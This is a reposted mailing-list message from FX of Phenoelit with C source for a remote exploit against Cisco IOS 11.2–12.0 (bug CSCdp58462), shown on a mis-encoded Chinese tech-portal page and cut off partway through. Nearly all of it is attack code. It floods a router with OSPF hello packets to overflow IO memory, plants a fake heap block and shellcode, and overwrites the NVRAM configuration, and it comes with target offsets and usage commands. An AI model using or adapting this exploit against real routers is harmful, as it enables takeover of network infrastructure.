ËêÔÂÁªÃË ¡¤ Öйú¼¼ÊõÍø ±¾Õ¾Ö÷Ò³ | °²È«ÈÏÖ¤ | Óû§·þÎñ | ¼¼ÊõÂÛ̳
ÐÂÎſ챨 | ·¨ÂÉ·¨¹æ | ÐÂÊÖѧÌà | ºÚ¿ÍÌØÇø | ²Ù×÷ϵͳ | °²È«·À·¶ | ³ÌÐòÓïÑÔ | Êý ¾Ý ¿â | ·À »ð ǽ | ½»»»Â·ÓÉ | ¿¼ÊÔÈÏÖ¤
ϵͳ¼¯³É | ´æ´¢±¸·Ý | ЭÒé·ÖÎö | ЭÒé´óÈ« | RFCרÌâ | FTP·þÎñÆ÷ | ½â¾ö·½°¸ | ÎÊÌâ½â´ð | ͼ¿â×ÊÁÏ | Èí¼þÏÂÔØ | ½Ì³ÌÏÂÔØ
  ÄúÏÖÔÚµÄλÖ㺠ËêÔÂÁªÃË >> Â·Óɽ»»» >> Â·ÓÉЭÒé >> Â·Óɽ»»»ÕýÎÄ
Cisco IOS OSPF exploit
×÷ÕߣºÎ´Öª ÎÄÕÂÀ´Ô´£º±¾Õ¾ÕûÀí µã»÷Êý£º ¸üÐÂʱ¼ä£º2007-1-8 9:57:48

¡¡¡¡Hi there,
¡¡¡¡attached you may find the exploit for the Cisco IOS bug ID CSCdp58462. The bug
¡¡¡¡is long fixed, so if you still run OSPF on a old version of IOS, now is a good
¡¡¡¡time to give your routers some attention.
¡¡¡¡
¡¡¡¡FX
¡¡¡¡
¡¡¡¡--
¡¡¡¡FX
¡¡¡¡Phenoelit http://www.phenoelit.de)
¡¡¡¡672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564
¡¡¡¡
¡¡¡¡["OoopSPF.c" (text/plain)]
¡¡¡¡
¡¡¡¡/* Cisco IOS IO memory exploit prove of concept
¡¡¡¡* by FX of Phenoelit
¡¡¡¡*http://www.phenoelit.de
¡¡¡¡*
¡¡¡¡* For:
¡¡¡¡* 19C3 Chaos Communication Congress 2002 / Berlin
¡¡¡¡* BlackHat Briefings Seattle 2003
¡¡¡¡*
¡¡¡¡* Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
¡¡¡¡* Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
¡¡¡¡* structure (small buffer header). The attached program is a PoC to exploit
¡¡¡¡* this vulnerability by executing "shell code" on the router and write the
¡¡¡¡* attached configuration into NVRAM to basicaly own the router.
¡¡¡¡*
¡¡¡¡* Example:
¡¡¡¡* linux# gcc -o OoopSPF OoopSPF.c
¡¡¡¡* linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \
¡¡¡¡* -f ./small.config -t 0 -a 1.2.3.4 -vv
¡¡¡¡*
¡¡¡¡* You can see if it worked if a) the router does not crash and b) the output of
¡¡¡¡* "show mem io" looks like this:
¡¡¡¡* E40E38 264 E40D04 E40F6C 1 31632D8 *Packet Data*
¡¡¡¡* E40F6C 264 E40E38 E410A0 1 31632D8 *Packet Data*
¡¡¡¡* E410A0 264 E40F6C E411D4 1 31632D8 *Packet Data*
¡¡¡¡* E411D4 1830400 E410A0 0 0 0 E411F8 808A8B8C [PHENOELIT]
¡¡¡¡*
¡¡¡¡* Exploit has to be "triggered". In LAB environment, go to the router and say
¡¡¡¡* box# conf t
¡¡¡¡* box(config)# buffers small perm 0
¡¡¡¡*
¡¡¡¡* Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk,
¡¡¡¡* Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people,
¡¡¡¡* Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky.
¡¡¡¡*
¡¡¡¡* $Id: OoopSPF.c,v 1.4 2003/02/20 16:38:30 root Exp root $
¡¡¡¡*/
¡¡¡¡
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡#include
¡¡¡¡
¡¡¡¡#define IPTTL 0x80
¡¡¡¡#define BLABLA "Phenoelit OoopSPF\n" \
¡¡¡¡" Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \
¡¡¡¡" (C) 2002/2003 - FX of Phenoelit \n"
¡¡¡¡#define IPPROTO_OSPF 0x59
¡¡¡¡#define IP_ADDR_LEN 4
¡¡¡¡typedef struct {
¡¡¡¡u_int8_t ihl:4, /* header length */
¡¡¡¡version:4; /* version */
¡¡¡¡u_int8_t tos; /* type of service */
¡¡¡¡u_int16_t tot_len; /* total length */
¡¡¡¡u_int16_t id; /* identification */
¡¡¡¡u_int16_t off; /* fragment offset field */
¡¡¡¡u_int8_t ttl; /* time to live */
¡¡¡¡u_int8_t protocol; /* protocol */
¡¡¡¡u_int16_t check; /* checksum */
¡¡¡¡struct in_addr saddr;
¡¡¡¡struct in_addr daddr; /* source and dest address */
¡¡¡¡} iphdr_t;
¡¡¡¡
¡¡¡¡typedef struct {
¡¡¡¡u_int8_t version __attribute__ ((packed));
¡¡¡¡u_int8_t type __attribute__ ((packed));
¡¡¡¡u_int16_t length __attribute__ ((packed));
¡¡¡¡u_int8_t source[4] __attribute__ ((packed));
¡¡¡¡u_int8_t area[4] __attribute__ ((packed));
¡¡¡¡u_int16_t checksum __attribute__ ((packed));
¡¡¡¡u_int16_t authtype __attribute__ ((packed));
¡¡¡¡u_int8_t authdata[8] __attribute__ ((packed));
¡¡¡¡} ospf_header_t;
¡¡¡¡
¡¡¡¡typedef struct {
¡¡¡¡u_int8_t netmask[4] __attribute__ ((packed));
¡¡¡¡u_int16_t hello_interval __attribute__ ((packed));
¡¡¡¡u_int8_t options __attribute__ ((packed));
¡¡¡¡u_int8_t priority __attribute__ ((packed));
¡¡¡¡u_int8_t dead_interval[4] __attribute__ ((packed));
¡¡¡¡u_int8_t designated[4] __attribute__ ((packed));
¡¡¡¡u_int8_t backup[4] __attribute__ ((packed));
¡¡¡¡} ospf_hello_t;
¡¡¡¡
¡¡¡¡
¡¡¡¡//
¡¡¡¡// Target definitions
¡¡¡¡//
¡¡¡¡
¡¡¡¡typedef struct {
¡¡¡¡char *description;
¡¡¡¡int n_neig;
¡¡¡¡int data_start;
¡¡¡¡u_int32_t blockbegin;
¡¡¡¡u_int32_t prev;
¡¡¡¡u_int32_t nop_sleet;
¡¡¡¡u_int32_t stack_address;
¡¡¡¡u_int32_t iomem_end;
¡¡¡¡} targets_t;
¡¡¡¡
¡¡¡¡targets_t targets[] = {
¡¡¡¡{ // #0 Phenoelit labs 2503
¡¡¡¡"2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)",
¡¡¡¡256, // # of neighbor announcements
¡¡¡¡0xe5, // data start
¡¡¡¡0xE411D4, // block begin
¡¡¡¡0xE410B4, // PREV
¡¡¡¡6, // nop_sleet after FAKE BLOCK
¡¡¡¡0x079B48, // Check heaps stack PC
¡¡¡¡0x00FFFFFF // IO mem end
¡¡¡¡},
¡¡¡¡{ // #1 Phenoelit labs 2501
¡¡¡¡"2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)",
¡¡¡¡256, // # of neighbor announcements
¡¡¡¡0xe5, // data start
¡¡¡¡0x00E31EA4, // block begin
¡¡¡¡0x00E31D84, // PREV
¡¡¡¡6, // nop_sleet after FAKE BLOCK
¡¡¡¡0x00079918, // Check heaps stack PC (using IOStack.pl)
¡¡¡¡0x00FFFFFF // IO mem end
¡¡¡¡}
¡¡¡¡};
¡¡¡¡
¡¡¡¡#define TARGETS (sizeof(targets)/sizeof(targets_t)-1)
¡¡¡¡
¡¡¡¡//
¡¡¡¡// NVRAM header structure
¡¡¡¡//
¡¡¡¡
¡¡¡¡typedef struct {
¡¡¡¡u_int16_t magic __attribute__((packed));
¡¡¡¡u_int16_t one __attribute__((packed));
¡¡¡¡u_int16_t checksum __attribute__((packed));
¡¡¡¡u_int16_t IOSver __attribute__((packed));
¡¡¡¡u_int32_t unknown __attribute__((packed));
¡¡¡¡u_int32_t ptr __attribute__((packed));
¡¡¡¡u_int32_t size __attribute__((packed));
¡¡¡¡} nvheader_t;
¡¡¡¡
¡¡¡¡//
¡¡¡¡// FAKE BLOCK definitions
¡¡¡¡//
¡¡¡¡
¡¡¡¡typedef struct {
¡¡¡¡u_int32_t redzone __attribute__((packed));
¡¡¡¡u_int32_t magic __attribute__((packed));
¡¡¡¡u_int32_t pid __attribute__((packed));
¡¡¡¡u_int32_t proc __attribute__((packed));
¡¡¡¡u_int32_t name __attribute__((packed));
¡¡¡¡u_int32_t pc __attribute__((packed));
¡¡¡¡u_int32_t next __attribute__((packed));
¡¡¡¡u_int32_t prev __attribute__((packed));
¡¡¡¡u_int32_t size __attribute__((packed));
¡¡¡¡u_int32_t refcnt __attribute__((packed));
¡¡¡¡u_int32_t pad1 __attribute__((packed));
¡¡¡¡u_int32_t freemagic __attribute__((packed));
¡¡¡¡u_int32_t lastdealloc __attribute__((packed));
¡¡¡¡u_int32_t pad2 __attribute__((packed));
¡¡¡¡u_int32_t pad3 __attribute__((packed));
¡¡¡¡u_int32_t free_next __attribute__((packed));
¡¡¡¡u_int32_t free_prev __attribute__((packed));
¡¡¡¡} block_t;
¡¡¡¡
¡¡¡¡char fakeblock[] =
¡¡¡¡"\xFD\x01\x10\xDF" // RED
¡¡¡¡"\xAB\x12\x34\xCD" // MAGIC
¡¡¡¡"\xFF\xFF\xFF\xFF" // PID
¡¡¡¡"\x80\x81\x82\x83" // PROC
¡¡¡¡"\x00\xE4\x12\x00" // NAME (Message)
¡¡¡¡"\x80\x8a\x8b\x8c" // PC
¡¡¡¡"\x00\x00\x00\x00" // NEXT (no following block)
¡¡¡¡"\x00\xE4\x10\xB4" // PREV (correct for 0xE411d4)
¡¡¡¡"\x00\x0D\xF7\x02" // Size CORRECT for 0xE411D4
¡¡¡¡"\x00\x00\x00\x00" // Reference count
¡¡¡¡"\x00\x00\x00\x00" // PADDING
¡¡¡¡"\xDE\xAD\xBE\xEF" // FREE MAGIC
¡¡¡¡"[PHE" // last delocator
¡¡¡¡"NOEL" // PADDING
¡¡¡¡"IT]\x00" // PADDING
¡¡¡¡"\x00\xE4\x12\x20" // FREE NEXT in our block
¡¡¡¡"\x00\x07\x9B\x48" // FREE PREV (Check heaps stack PC)
¡¡¡¡;
¡¡¡¡block_t *bpatch = (block_t*)fakeblock;
¡¡¡¡
¡¡¡¡//
¡¡¡¡// Cisco code for M68030 CPU and 2500 NVRAM layout
¡¡¡¡//
¡¡¡¡char ccode[] =
¡¡¡¡"\x46\xFC\x27\x00" //movew #9984,%sr (0x00E41220)
¡¡¡¡"\x43\xFA\x00\x48" //lea %pc@(4e ),%a1 (0x00E41224)
¡¡¡¡"\x24\x7C\x02\x00\x00\x06" //moveal #33554438,%a2 (0x00E41228)
¡¡¡¡"\xB3\x81" //eorl %d1,%d1 (0x00E4122E)
¡¡¡¡"\x74\x01" //moveq #1,%d2 (0x00E41230)
¡¡¡¡"\x22\x3C\x01\x01\x01\x01" //movel #16843009,%d1 (0x00E41232)
¡¡¡¡"\x14\xD9" //moveb %a1@+,%a2@+ (0x00E41238)
¡¡¡¡"\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E4123A)
¡¡¡¡"\x93\x42" //subxw %d2,%d1 (0x00E4123E)
¡¡¡¡"\x6B\x00\xFF\xFC" //bmiw 1e (0x00E41240)
¡¡¡¡"\x0C\x91\xCA\xFE\xF0\x0D" //cmpil #-889262067,%a1@ (0x00E41244)
¡¡¡¡"\x66\x00\xFF\xEC" //bnew 18 (0x00E4124A)
¡¡¡¡"\x14\xFC\x00\x00" //moveb #0,%a2@+ (0x00E4124E)
¡¡¡¡"\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E41252)
¡¡¡¡"\x93\x42" //subxw %d2,%d1 (0x00E41256)
¡¡¡¡"\x6B\x00\xFF\xFC" //bmiw 36 (0x00E41258)
¡¡¡¡"\xB5\xFC\x02\x00\x07\x00" //cmpal #33556224,%a2 (0x00E4125C)
¡¡¡¡"\x6D\x00\xFF\xEA" //bltw 2e (0x00E41262)
¡¡¡¡"\x22\x7C\x03\x00\x00\x60" //moveal #50331744,%a1 (0x00E41266)
¡¡¡¡"\x4E\xD1" //jmp %a1@ (0x00E4126C)
¡¡¡¡
¡¡¡¡;
¡¡¡¡
¡¡¡¡char terminator[] = "\xCA\xFE\xF0\x0D";
¡¡¡¡char nop[] = "\x4E\x71";
¡¡¡¡
¡¡¡¡//
¡¡¡¡// Global variables to pass the current buffer location to the
¡¡¡¡// OSPF packet generator function
¡¡¡¡//
¡¡¡¡int payloadc=0;
¡¡¡¡char *payload=NULL;
¡¡¡¡// packet counter (global)
¡¡¡¡unsigned int pc=0;
¡¡¡¡
¡¡¡¡
¡¡¡¡//
¡¡¡¡// Configuration
¡¡¡¡//
¡¡¡¡struct {
¡¡¡¡int verbose;
¡¡¡¡char *device;
¡¡¡¡struct in_addr *target;
¡¡¡¡u_int32_t src_net;
¡¡¡¡u_int32_t src_mask;
¡¡¡¡u_int32_t area;
¡¡¡¡int directed;
¡¡¡¡int test_only;
¡¡¡¡
¡¡¡¡// fake block constants
¡¡¡¡int n_neig;
¡¡¡¡int data_start;
¡¡¡¡u_int32_t blockbegin;
¡¡¡¡u_int32_t prev;
¡¡¡¡u_int32_t nop_sleet;
¡¡¡¡u_int32_t stack_address;
¡¡¡¡u_int32_t iomem_end;
¡¡¡¡
¡¡¡¡// other stuff
¡¡¡¡char *filename;
¡¡¡¡int target_sel;
¡¡¡¡} cfg;
¡¡¡¡
¡¡¡¡
¡¡¡¡u_char *construct_ospf(struct in_addr *dd, struct in_addr *src,
¡¡¡¡u_int16_t autosys, int *psize);
¡¡¡¡int init_socket_IP4(int broadcast);
¡¡¡¡int sendpack_IP4(int sfd, u_char *packet,int plength);
¡¡¡¡u_int16_t chksum(u_char *data, unsigned long count);
¡¡¡¡void *smalloc(size_t size);
¡¡¡¡void hexdump(unsigned char *bp, unsigned int length);
¡¡¡¡void usage(char *s);
¡¡¡¡
¡¡¡¡int main(int argc, char **argv) {
¡¡¡¡char option;
¡¡¡¡extern char *optarg;
¡¡¡¡int sfd;
¡¡¡¡
¡¡¡¡unsigned int i=0;
¡¡¡¡u_int32_t countip=20;
¡¡¡¡
¡¡¡¡/* confg file */
¡¡¡¡int fd;
¡¡¡¡struct stat sb;
¡¡¡¡
¡¡¡¡u_char *buffer;
¡¡¡¡u_char *p;
¡¡¡¡nvheader_t *nvh;
¡¡¡¡unsigned int len;
¡¡¡¡u_int16_t cs1;
¡¡¡¡
¡¡¡¡// final overflow
¡¡¡¡char *overflow;
¡¡¡¡int osize=0;
¡¡¡¡
¡¡¡¡
¡¡¡¡printf(BLABLA);
¡¡¡¡
¡¡¡¡memset(&cfg,0,sizeof(cfg));
¡¡¡¡while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:"))!=EOF) {
¡¡¡¡switch (option) {
¡¡¡¡case 'v': cfg.verbose++;
¡¡¡¡break;
¡¡¡¡case 'D': cfg.directed++;
¡¡¡¡break;
¡¡¡¡case 'T': cfg.test_only++;
¡¡¡¡break;
¡¡¡¡case 'd': cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr));
¡¡¡¡if (inet_aton(optarg,cfg.target)==0) {
¡¡¡¡fprintf(stderr,"Your destination is bullshit\n");
¡¡¡¡return (1);
¡¡¡¡}
¡¡¡¡break;
¡¡¡¡case 's': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) {
¡¡¡¡fprintf(stderr,"Your source net is wrong\n");
¡¡¡¡return (1);
¡¡¡¡}
¡¡¡¡break;
¡¡¡¡case 'n': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) {
¡¡¡¡fprintf(stderr,"Your source mask is wrong\n");
¡¡¡¡return (1);
¡¡¡¡}
¡¡¡¡break;
¡¡¡¡case 'L': cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10);
¡¡¡¡break;
¡¡¡¡case 'F': cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16);
¡¡¡¡break;
¡¡¡¡case 'f': cfg.filename=(char *)smalloc(strlen(optarg)+1);
¡¡¡¡strcpy(cfg.filename,optarg);
¡¡¡¡break;
¡¡¡¡case 't': cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10);
¡¡¡¡if (cfg.target_sel>TARGETS) {
¡¡¡¡fprintf(stderr,"Target number unknown\n");
¡¡¡¡return (1);
¡¡¡¡}
¡¡¡¡break;
¡¡¡¡case 'S': cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10);
¡¡¡¡break;
¡¡¡¡case 'a': if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) {
¡¡¡¡fprintf(stderr,"Your area doesn't make sense.\n");
¡¡¡¡return (1);
¡¡¡¡}
¡¡¡¡break;
¡¡¡¡default: usage(argv[0]);
¡¡¡¡}
¡¡¡¡}
¡¡¡¡
¡¡¡¡if (cfg.target_sel>TARGETS) {
¡¡¡¡fprintf(stderr,"Error: user too stupid (check -t)\n");
¡¡¡¡return (-1);
¡¡¡¡}
¡¡¡¡if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig;
¡¡¡¡if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start;
¡¡¡¡if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin;
¡¡¡¡if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev;
¡¡¡¡if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet;
¡¡¡¡if (cfg.stack_address==0) \
¡¡¡¡cfg.stack_address=targets[cfg.target_sel].stack_address; if (cfg.iomem_end==0) \
¡¡¡¡cfg.iomem_end=targets[cfg.target_sel].iomem_end;
¡¡¡¡
¡¡¡¡//
¡¡¡¡// Check the parameters and set up a socket
¡¡¡¡//
¡¡¡¡cfg.src_net=cfg.src_net&cfg.src_mask;
¡¡¡¡
¡¡¡¡if ( (cfg.src_net==0)||(cfg.src_mask==0)
¡¡¡¡||(cfg.filename==NULL)||(cfg.target==NULL)) {
¡¡¡¡usage(argv[0]);
¡¡¡¡}
¡¡¡¡
¡¡¡¡if ((sfd=init_socket_IP4(1))<1) {
¡¡¡¡fprintf(stderr,"Could not get a socket for you\n");
¡¡¡¡return (-1);
¡¡¡¡}
¡¡¡¡
¡¡¡¡//
¡¡¡¡// Get some info back to the user if he requested verbose
¡¡¡¡//
¡¡¡¡if (cfg.verbose) {
¡¡¡¡if (cfg.directed)
¡¡¡¡printf("\twith unicast target %s\n",inet_ntoa(*cfg.target));
¡¡¡¡else
¡¡¡¡printf("\twith default destination addresses\n");
¡¡¡¡printf("\twith source network %s/",
¡¡¡¡inet_ntoa(*(struct in_addr*)&(cfg.src_net)));
¡¡¡¡printf("%s\n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask)));
¡¡¡¡printf("Using Target: %s\n",targets[cfg.target_sel].description);
¡¡¡¡printf( "\t# of neighbors: %u\n"
¡¡¡¡"\tdata start : %u\n"
¡¡¡¡"\tBlock address : 0x%08X\n"
¡¡¡¡"\tPREV pointer : 0x%08X\n"
¡¡¡¡"\tNOP sleet : %u\n"
¡¡¡¡"\tStack address : 0x%08X\n"
¡¡¡¡"\tIO Memory end : 0x%08X\n",
¡¡¡¡cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev,
¡¡¡¡cfg.nop_sleet,cfg.stack_address,cfg.iomem_end);
¡¡¡¡}
¡¡¡¡
¡¡¡¡//
¡¡¡¡// Patch the fake block with the new values
¡¡¡¡//
¡¡¡¡bpatch->prev=htonl(cfg.prev);
¡¡¡¡bpatch->size=htonl(
¡¡¡¡(cfg.iomem_end
¡¡¡¡-39 // minus block header in bytes - 1
¡¡¡¡-cfg.blockbegin) / 2);
¡¡¡¡bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock)-5/* RED ZONE */
¡¡¡¡+((sizeof(nop)-1)*cfg.nop_sleet));
¡¡¡¡bpatch->free_prev=htonl(cfg.stack_address);
¡¡¡¡bpatch->name=htonl(cfg.blockbegin+44);
¡¡¡¡
¡¡¡¡/*
¡¡¡¡* Load Config
¡¡¡¡* - load into buffer
¡¡¡¡* - prepare NVRAM header
¡¡¡¡* - calculate checksum
¡¡¡¡* -> *buffer contains payload
¡¡¡¡*/
¡¡¡¡if (cfg.filename==NULL) return (-1);
¡¡¡¡if (stat(cfg.filename,&sb)!=0) {
¡¡¡¡fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
¡¡¡¡return (-1);
¡¡¡¡}
¡¡¡¡
¡¡¡¡if ((fd=open(cfg.filename,O_RDONLY))<0) {
¡¡¡¡fprintf(stderr,"Could not open() file %s\n",cfg.filename);
¡¡¡¡return (-1);
¡¡¡¡}
¡¡¡¡
¡¡¡¡len=sb.st_size;
¡¡¡¡if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
¡¡¡¡fprintf(stderr,"Malloc() failed\n");
¡¡¡¡return (-1);
¡¡¡¡}
¡¡¡¡memset(buffer,0,len+sizeof(nvheader_t)+10);
¡¡¡¡
¡¡¡¡p=buffer+sizeof(nvheader_t);
¡¡¡¡if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
¡¡¡¡close(fd);
¡¡¡¡
¡¡¡¡// pad config so it is word bound for the 0xcafef00d test
¡¡¡¡if ((len%2)!=0) {
¡¡¡¡strcat(p,"\x0A");
¡¡¡¡len++;
¡¡¡¡if (cfg.verbose) printf("Padding config by one\n");
¡¡¡¡}
¡¡¡¡
¡¡¡¡nvh=(nvheader_t *)buffer;
¡¡¡¡nvh->magic=htons(0xABCD);
¡¡¡¡nvh->one=htons(0x0001); // is always one
¡¡¡¡nvh->IOSver=htons(0x0B03); // IOS version
¡¡¡¡nvh->unknown=htonl(0x00000014); // something, 0x14 just works
¡¡¡¡nvh->ptr=htonl(0x000D199F); // config end ptr
¡¡¡¡nvh->size=htonl(len);
¡¡¡¡
¡¡¡¡cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
¡¡¡¡if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
¡¡¡¡nvh->checksum=cs1;
¡¡¡¡
¡¡¡¡//
¡¡¡¡// Put the overflow together
¡¡¡¡//
¡¡¡¡// (1) calculate size of the whole thing
¡¡¡¡osize=sizeof(fakeblock)-1+
¡¡¡¡(cfg.nop_sleet * (sizeof(nop)-1))+
¡¡¡¡sizeof(ccode)-1+
¡¡¡¡sizeof(nvheader_t)+
¡¡¡¡len+
¡¡¡¡sizeof(terminator)-1;
¡¡¡¡if ((osize/4)>cfg.data_start) {
¡¡¡¡fprintf(stderr,"ERROR: The whole thing is too large!\n");
¡¡¡¡return (-1);
¡¡¡¡} else {
¡¡¡¡printf("Using %u out of %u bytes (overflow: %u bytes)\n",
¡¡¡¡osize,cfg.data_start*4,cfg.n_neig*4);
¡¡¡¡}
¡¡¡¡//
¡¡¡¡// adjust osize ot be 4byte bound
¡¡¡¡//
¡¡¡¡if ((osize%4!=0)) osize+=osize%4;
¡¡¡¡overflow=smalloc(osize);
¡¡¡¡
¡¡¡¡//
¡¡¡¡// (2) copy the fakeblock in the buffer
¡¡¡¡//
¡¡¡¡memcpy(overflow,fakeblock,sizeof(fakeblock)-1);
¡¡¡¡p=(void *)overflow+sizeof(fakeblock)-1;
¡¡¡¡
¡¡¡¡//
¡¡¡¡// (3) Add NOPs to the buffer
¡¡¡¡//
¡¡¡¡for (i=0;i¡¡¡¡memcpy(p,nop,sizeof(nop)-1);
¡¡¡¡p+=sizeof(nop)-1;
¡¡¡¡}
¡¡¡¡
¡¡¡¡//
¡¡¡¡// (4) Add the ccode
¡¡¡¡//
¡¡¡¡memcpy(p,ccode,sizeof(ccode)-1);
¡¡¡¡p+=sizeof(ccode)-1;
¡¡¡¡
¡¡¡¡//
¡¡¡¡// (5) Add the NVRAM structure and config
¡¡¡¡//
¡¡¡¡memcpy(p,buffer,len+sizeof(nvheader_t));
¡¡¡¡p+=len+sizeof(nvheader_t);
¡¡¡¡
¡¡¡¡//
¡¡¡¡// (6) finish off with terminator
¡¡¡¡//
¡¡¡¡memcpy(p,terminator,sizeof(terminator)-1);
¡¡¡¡
¡¡¡¡if (cfg.verbose>1) hexdump(overflow,osize);
¡¡¡¡if (cfg.test_only) return (0);
¡¡¡¡
¡¡¡¡payload=overflow+(osize-4);
¡¡¡¡payloadc=osize;
¡¡¡¡
¡¡¡¡// *************************
¡¡¡¡// PERFORM THE OVERFLOW
¡¡¡¡// *************************
¡¡¡¡for (i=0;i¡¡¡¡u_char *pack;
¡¡¡¡int plen;
¡¡¡¡u_int32_t uip;
¡¡¡¡
¡¡¡¡OwnHostException:
¡¡¡¡countip++;
¡¡¡¡uip=htonl(countip);
¡¡¡¡uip=uip&(~cfg.src_mask);
¡¡¡¡uip=uip|cfg.src_net;
¡¡¡¡
¡¡¡¡if (!memcmp(&uip,cfg.target,IP_ADDR_LEN)) {
¡¡¡¡if (cfg.verbose>2)
¡¡¡¡printf("-- Skipping %s\n",inet_ntoa(*(cfg.target)));
¡¡¡¡else {
¡¡¡¡printf("*"); fflush(stdout);
¡¡¡¡}
¡¡¡¡goto OwnHostException;
¡¡¡¡}
¡¡¡¡
¡¡¡¡if (cfg.verbose>2)
¡¡¡¡printf("\tsending from %15s... ",inet_ntoa(*(struct in_addr*)&(uip)));
¡¡¡¡else {
¡¡¡¡printf("."); fflush(stdout);
¡¡¡¡}
¡¡¡¡
¡¡¡¡// Make and send OSPF
¡¡¡¡pack=construct_ospf(cfg.target,
¡¡¡¡(struct in_addr *)&uip,0,&plen);
¡¡¡¡sendpack_IP4(sfd,pack,plen);
¡¡¡¡free(pack);
¡¡¡¡
¡¡¡¡if (cfg.verbose>2) printf("\n");
¡¡¡¡usleep(1);
¡¡¡¡}
¡¡¡¡
¡¡¡¡close(sfd);
¡¡¡¡printf("\n");
¡¡¡¡
¡¡¡¡return 0;
¡¡¡¡}
¡¡¡¡
¡¡¡¡u_char *construct_ospf(struct in_addr *dd, struct in_addr *src,
¡¡¡¡u_int16_t autosys, int *psize) {
¡¡¡¡u_char *tpacket;
¡¡¡¡iphdr_t *iph;
¡¡¡¡u_int16_t cs; /* checksum */
¡¡¡¡char all_ospf[]="224.0.0.5";
¡¡¡¡ospf_header_t *ospfh;
¡¡¡¡ospf_hello_t *ohelo;
¡¡¡¡
¡¡¡¡*psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeof(ospf_hello_t);
¡¡¡¡tpacket=(u_char *)smalloc(*psize
¡¡¡¡+3 /* for my checksum function, which sometimes
¡¡¡¡steps over the mark */
¡¡¡¡);
¡¡¡¡
¡¡¡¡// IP packet
¡¡¡¡iph=(iphdr_t *)tpacket;
¡¡¡¡
¡¡¡¡iph->version=4;
¡¡¡¡iph->ihl=sizeof(iphdr_t)/4;
¡¡¡¡
¡¡¡¡iph->tot_len=htons(*psize);
¡¡¡¡iph->ttl=IPTTL;
¡¡¡¡iph->protocol=IPPROTO_OSPF;
¡¡¡¡
¡¡¡¡memcpy(&(iph->saddr.s_addr),&(src->s_addr),IP_ADDR_LEN);
¡¡¡¡if (!cfg.directed)
¡¡¡¡inet_aton(all_ospf,(struct in_addr *)&(iph->daddr));
¡¡¡¡else
¡¡¡¡memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN);
¡¡¡¡
¡¡¡¡// OSPF header
¡¡¡¡ospfh=(ospf_header_t *)((void *)tpacket+sizeof(iphdr_t));
¡¡¡¡ohelo=(ospf_hello_t *)((void *)tpacket+sizeof(iphdr_t)+sizeof(ospf_header_t));
¡¡¡¡ospfh->version=2;
¡¡¡¡ospfh->type=1;
¡¡¡¡ospfh->length=htons(sizeof(ospf_header_t)+sizeof(ospf_hello_t));
¡¡¡¡memcpy(&(ospfh->area),&(cfg.area),4);
¡¡¡¡
¡¡¡¡// Increment the packets sent
¡¡¡¡pc++;
¡¡¡¡
¡¡¡¡//
¡¡¡¡// If we are in the range of the whole overflow thingy, copy the appropriate
¡¡¡¡// 4 bytes into the source address in the OSPF header
¡¡¡¡//
¡¡¡¡if ( (pc <= cfg.data_start) &&
¡¡¡¡(pc > cfg.data_start-(payloadc/4) ) ) {
¡¡¡¡memcpy(&(ospfh->source),payload,IP_ADDR_LEN);
¡¡¡¡payload-=4;
¡¡¡¡}
¡¡¡¡//
¡¡¡¡// well, we are not in there, so we set it to some value
¡¡¡¡//
¡¡¡¡else {
¡¡¡¡ospfh->source[0]=0xCA;
¡¡¡¡ospfh->source[1]=0xFE;
¡¡¡¡ospfh->source[2]=0xBA;
¡¡¡¡ospfh->source[3]=0xBE;
¡¡¡¡}
¡¡¡¡
¡¡¡¡// be verbose
¡¡¡¡if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned \
¡¡¡¡int*)&(ospfh->source))));
¡¡¡¡
¡¡¡¡// compile the rest of the packet
¡¡¡¡memcpy(&(ohelo->netmask),&(cfg.src_mask),4);
¡¡¡¡ohelo->hello_interval=htons(10);
¡¡¡¡ohelo->options=0x2;
¡¡¡¡ohelo->priority=2;
¡¡¡¡ohelo->dead_interval[3]=40;
¡¡¡¡memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN);
¡¡¡¡
¡¡¡¡cs=chksum((u_char *)ospfh,sizeof(ospf_header_t)+sizeof(ospf_hello_t));
